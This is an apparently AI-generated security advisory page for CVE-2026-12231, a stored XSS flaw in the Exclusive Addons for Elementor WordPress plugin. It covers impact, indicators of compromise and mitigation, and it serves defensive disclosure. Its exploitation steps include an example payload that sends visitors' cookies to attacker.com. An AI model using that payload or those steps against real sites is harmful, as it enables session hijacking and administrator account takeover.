CVE-2026-12231
WordPress vulnerability analysis and mitigation

Overview

CVE-2026-12231 is a Stored Cross-Site Scripting (XSS) vulnerability in the Exclusive Addons for Elementor plugin for WordPress, affecting all versions up to and including 2.7.9.8. The flaw exists in the exad_infobox_image parameter due to insufficient input sanitization and output escaping, allowing authenticated attackers with Contributor-level access or above to inject arbitrary web scripts into pages. It was published on August 2, 2026, with a patch made available the same day. The vulnerability carries a CVSS v3.1 base score of 6.4 (Medium) (GitHub Advisory, Wordfence).

Technical details

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), stemming from the plugin's failure to properly sanitize user-supplied input in the exad_infobox_image parameter and escape it before rendering in HTML output. The vulnerable code is located in the plugin's infobox.php file (lines 975, 1019–1095, and 1082), where attacker-controlled values are written directly into the page without adequate filtering. Exploitation requires only network access and a low-privilege authenticated account (Contributor or above), with no user interaction needed and a changed scope, meaning the injected script can affect users beyond the attacker's own session (GitHub Advisory, WordPress Trac).

Impact

Successful exploitation allows an authenticated attacker to persistently inject malicious JavaScript into WordPress pages, which executes in the browsers of all users who visit the affected pages. This can result in session token theft, credential harvesting, unauthorized actions performed on behalf of victims (including administrators), and modification of page content. While availability is not directly impacted, the confidentiality and integrity risks extend to all site visitors, including privileged users (GitHub Advisory, Wordfence).

Exploitation steps

  1. Reconnaissance: Identify WordPress sites running the Exclusive Addons for Elementor plugin at version 2.7.9.8 or earlier, using tools like WPScan or by inspecting plugin directories.
  2. Obtain Contributor access: Register or compromise an account with at least Contributor-level privileges on the target WordPress site.
  3. Navigate to the Infobox element: In the WordPress editor (Elementor), add or edit a page containing the Infobox widget provided by the Exclusive Addons plugin.
  4. Inject malicious payload: Supply a crafted XSS payload (e.g., "><script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the exad_infobox_image parameter, which is not properly sanitized.
  5. Publish the page: Save and publish the page containing the injected content.
  6. Trigger execution: When any user (including administrators) visits the affected page, the injected script executes in their browser, enabling session hijacking, credential theft, or further attacks (GitHub Advisory, Wordfence).

Indicators of compromise

  • Logs: WordPress access logs showing POST requests to page/post edit endpoints by Contributor-level accounts containing unusual script tags or encoded JavaScript in the exad_infobox_image field.
  • File System: Unexpected or recently modified pages/posts in the WordPress database containing <script> tags or JavaScript event handlers within Infobox widget content.
  • Network: Outbound requests from victim browsers to unknown external domains (e.g., attacker-controlled cookie-harvesting endpoints) originating from pages using the Exclusive Addons Infobox widget.
  • Application: Presence of encoded payloads (e.g., %3Cscript%3E, javascript:, onerror=) in stored post meta values associated with the exad_infobox_image parameter in the WordPress database (wp_postmeta table).

Mitigation and workarounds

Update the Exclusive Addons for Elementor plugin to a version beyond 2.7.9.8, as a patch was released on August 2, 2026 (changeset 3583929). As an interim measure, restrict Contributor-level and above access to only trusted users, and implement Content Security Policy (CSP) headers to limit inline script execution. Administrators should audit recent content modifications for injected scripts and review accounts with Contributor access (WordPress Trac, Wordfence).

Additional resources


SourceThis report was generated using AI

Related WordPress vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-12231MEDIUM6.4
  • exclusive-addons-for-elementor
NoYesAug 02, 2026
CVE-2026-16540NONEN/A
  • simply-schedule-appointments
NoYesAug 02, 2026
CVE-2026-16292NONEN/A
  • nmedia-user-file-uploader
NoNoAug 02, 2026
CVE-2026-16291NONEN/A
  • profilegrid-user-profiles-groups-and-communities
NoYesAug 02, 2026
CVE-2026-16285NONEN/A
  • woo-product-attachment
NoYesAug 02, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management